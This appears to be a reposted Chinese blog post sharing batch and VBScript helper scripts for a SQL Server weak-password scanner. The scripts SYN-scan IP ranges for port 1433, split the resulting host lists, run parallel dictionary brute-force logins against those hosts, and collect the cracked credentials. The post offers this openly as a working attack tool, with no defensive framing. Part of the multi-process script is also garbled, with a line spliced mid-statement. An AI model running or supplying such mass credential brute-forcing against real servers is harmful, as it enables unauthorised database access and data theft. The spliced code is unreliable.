自己写的一个sqlserver弱口令扫描工具辅助脚本(提升扫描速度效率,速度极快)

自己写的一个sqlserver弱口令扫描工具辅助脚本(提升扫描速度效率,速度极快),第1张

概述需要s.exe 和scan.exe不懂的就别看了。 下面是bat配套和vbs配套脚本 单进程多线程版: @echo offsetlocal enabledelayedexpansion@cd /d "%~dp0":startTitle 第一步--多线程扫描端口中Rem IP段文件名set /p IPlist= 输入你要扫描的ip表文件:Rem 分割后的存放目录

需要s.exe 和scan.exe不懂的就别看了。

下面是bat配套和vbs配套脚本


单进程多线程版:

@echo offsetlocal enabledelayedexpansion@cd /d "%~dp0":startTitle          第一步--多线程扫描端口中Rem IP段文件名set /p IPList= 输入你要扫描的ip表文件:Rem 分割后的存放目录 @set Dname=ListRem scan.exe 扫描进程数set /a pn=4if exist %IPList% (goto next) else (@echo 没有找到 %IPList% 文件,按任意键退出 & pause & exit)::--------------------------------------------进程快照------------------------------------------------:next::-------------------------------------第一步--多线程扫描端口中------------------------------------------for /f "tokens=1,2 delims= " %%j in (%IPList%) do s syn %%j %%k 1433 /Save::----------------------------------------第二步--整理扫描结果---------------------------------------Title          第二步--整理扫描结果findstr /v /R ^Perf.* Result.txt>s1.txtfindstr /v /R ^Sca.* s1.txt>s2.txtfindstr /v /R ^L.* s2.txt>s3.txtfindstr /v /R ^N.* s3.txt>s4.txtfor /f "eol=- tokens=1 delims= " %%i in (s4.txt) do echo %%i>>ipst.txtdel s1.txt s2.txt s3.txt s4.txt result.txt@rd /s /q %Dname%@del List.txt::-------------------------------------------去除重复-------------------------------------------------------for /f "delims=" %%i in (ipst.txt) do (    if not defined %%i set %%i=s & @echo %%i>>ips.txt)    @del ipst.txt::-------------------------------------------第三步--多线程扫描---------------------------------------Title          第三步--多线程扫描@if exist pass\. (@rd /s /q pass) else (@md pass)@if exist log\. (@rd /s /q log) else (@md log)@cscript.exe ip.vbs ips.txt scan 50@del ips.txt@for %%i in (scan\*.txt) do @echo %%i>>List.txt::-------------------------------------------设置扫描进程数-----------------------------------------set n=0for /f %%i in (List.txt) do (set /a n+=1)set /a max=n+%pn%::一共有n行%n%::一共有max行%max%::--------------------------------------------for 循环------------------------------------------------for /l %%i in (1,1,%pn%) do start for /l %%j in (%%i,4,%max%) do @if %%j gtr %n% (exit) else (scan -i scan\%%j.txt -p dic\sqlpass.dic -o pass\%%j.txt -l log\%%j.txt -c -t 600)::------------------------------------判断是否扫描完毕----------------------------------------------:wait1@for /l %%i in (4,-1,1) do  @Ping -n 2 127.1>nul & cls & @echo ------------------------------------------------------  & @echo                  请不要关掉本窗口 & @echo         每隔%%i秒程序会自动判断是否该进入下一步 & @echo ------------------------------------------------------@taskList | findstr "\<scan.exe\>">nul@if %errorlevel% == 0 (goto wait1) else (goto next2):next2@cls@if exist scan\. (@rd /s /q scan)@if exist log\. (@rd /s /q log)@if exist List.txt (del List.txt)::-----------------------------------------------搜集密码----------------------------------------------@for %%a in (pass\*.txt) do @for /f "usebackq tokens=1,2"  %%i in ("%%a") do @echo %%i %%j>>pass.txtfor /f "eol=D tokens=*" %%i in (pass.txt) do echo %%i>>passt.txtdel pass.txt@if exist pass\. (@rd /s /q pass)::-------------------------------------------去除重复-------------------------------------------------------for /f "delims=" %%i in (passt.txt) do (    if not defined %%i set %%i=s & @echo %%i>>pass.txt)    @del passt.txt@echo.>扫描完毕


多进程多线程版:

@echo offsetlocal enabledelayedexpansion@cd /d "%~dp0":startTitle          第一步--多线程扫描端口中Rem IP段文件名set /p IPList= 输入你要扫描的ip表文件:Rem 分割后的存放目录 @set Dname=ListRem scan.exe 扫描进程数set /a pn=4if exist %IPList% (goto next) else (@echo 没有找到 %IPList% 文件,按任意键退出 & pause & exit):next@for /f %%l in (%IPList%) do set /a znx+=1@echo  扫描列表文件共有 %znx% 行set /p Num= 输入文件最大行数:::--------------------------------------------进程快照------------------------------------------------if exist p.txt (@del p.txt)@taskList | findstr "\<cmd.exe\>">tmp.txt@for /f "tokens=2 delims= " %%i in (tmp.txt) do echo %%i>>p.txt::-------------------------------------第一步--多线程扫描端口中------------------------------------------@if exist List.txt (del List.txt)@cscript.exe ip.vbs %IPList% %Dname% %Num%@for %%i in (%Dname%\*.txt) do @echo %%i>>List.txtfor /f "eol=; delims= " %%i in (List.txt) do @start for /f "eol=; tokens=1,2 delims= " %%j in (%%i) do s syn %%j %%k 1433 /Save::--------------------------------------------恢复快照------------------------------------------------------@taskList | findstr "\<cmd.exe\>">tmp.txtif exist p2.txt (@del p2.txt>nul)@for /f "tokens=2 delims= " %%i in (tmp.txt) do echo %%i>>p2.txt@del tmp.txt>nul@findstr /V /G:p.txt p2.txt>pp.txt@for /f %%i in (pp.txt) do (@taskkill /pID %%i /f>nul)@del p.txt,p2.txt,pp.txt::------------------------------------判断是否扫描完毕----------------------------------------------:wait@for /l %%i in (4,1) do  @Ping -n 2 127.1>nul & cls & @echo ------------------------------------------------------  & @echo                  请不要关掉本窗口 & @echo         每隔%%i秒程序会自动判断是否该进入下一步 & @echo ------------------------------------------------------@taskList | findstr "\<s.exe\>">nul@if %errorlevel% == 0 (goto wait) else (goto next1):next1@cls::----------------------------------------第二步--整理扫描结果---------------------------------------Title          第二步--整理扫描结果findstr /v /R ^Perf.* Result.txt>s1.txtfindstr /v /R ^Sca.* s1.txt>s2.txtfindstr /v /R ^L.* s2.txt>s3.txtfindstr /v /R ^N.* s3.txt>s4.txtfor /f "eol=- tokens=1 delims= " %%i in (s4.txt) do echo %%i>>ipst.txtdel s1.txt s2.txt s3.txt s4.txt result.txt@rd /s /q %Dname%@del List.txt::-------------------------------------------去除重复-------------------------------------------------------for /f "delims=" %%i in (ipst.txt) do (    if not defined %%i set %%i=s & @echo %%i>>ips.txt)    @del ipst.txt::-------------------------------------------第三步--多线程扫描---------------------------------------Title          第三步--多线程扫描@if exist pass\. (@rd /s /q pass) else (@md pass)@if exist log\. (@rd /s /q log) else (@md log)@cscript.exe ip.vbs ips.txt scan 200@del ips.txt@for %%i in (scan\*.txt) do @echo %%i>>List.txt::-------------------------------------------设置扫描进程数-----------------------------------------set n=0for /f %%i in (List.txt) do (set /a n+=1)set /a max=n+%pn%::一共有n行%n%::一共有max行%max%::--------------------------------------------for 循环------------------------------------------------for /l %%i in (1,2"  %%i in ("%%a") do @echo %%i %%j>>pass.txtfor /f "eol=D tokens=*" %%i in (pass.txt) do echo %%i>>passt.txtdel pass.txt@if exist pass\. (@rd /s /q pass)::-------------------------------------------去除重复-------------------------------------------------------for /f "delims=" %%i in (passt.txt) do (    if not defined %%i set %%i=s & @echo %%i>>pass.txt)    @del passt.txt@echo 扫描完毕,查看本目录下pass.txt密码。pause
涉及到的vbs:

'最简单的VBS文本分割器'作者: Yatere'QQ:4699366On Error Resume NextIf WScript.Arguments.Count <> 3 Then        WScript.Echo "Usage: Cscript.exe Exp.vbs 文件名 目录名 分割数"        WScript.QuitEnd Iftname = WScript.Arguments(0)dname = WScript.Arguments(1)num = WScript.Arguments(2)'num = 100		'每个文件最大条目数'tname = "ip.txt"	'待转换文件名'dname = "ip"		'目录名Set fs =CreateObject("scripting.filesystemobject") Set gs =CreateObject("scripting.filesystemobject") Set f=fs.opentextfile(tname,true)if fs.FolderExists(dname) thenfs.DeleteFolder(dname)end ifset fd=fs.Createfolder(dname)set fd=nothingn=0 do while f.atendofstream<>true n=n+1 Dim dataSet g=gs.opentextfile(dname+"\"+CStr(n)+".txt",2,true)'if f.atendofstream<>true thenfor a=1 to numif f.atendofstream<>true thendata=f.readlineg.writeline dataend ifnext'end ifloop f.closeg.closeSet fs=nothingSet gs=nothing
总结

以上是内存溢出为你收集整理的自己写的一个sqlserver弱口令扫描工具辅助脚本(提升扫描速度效率,速度极快)全部内容,希望文章能够帮你解决自己写的一个sqlserver弱口令扫描工具辅助脚本(提升扫描速度效率,速度极快)所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/sjk/1180647.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-06-02
下一篇 2022-06-02

发表评论

登录后才能评论

评论列表(0条)

保存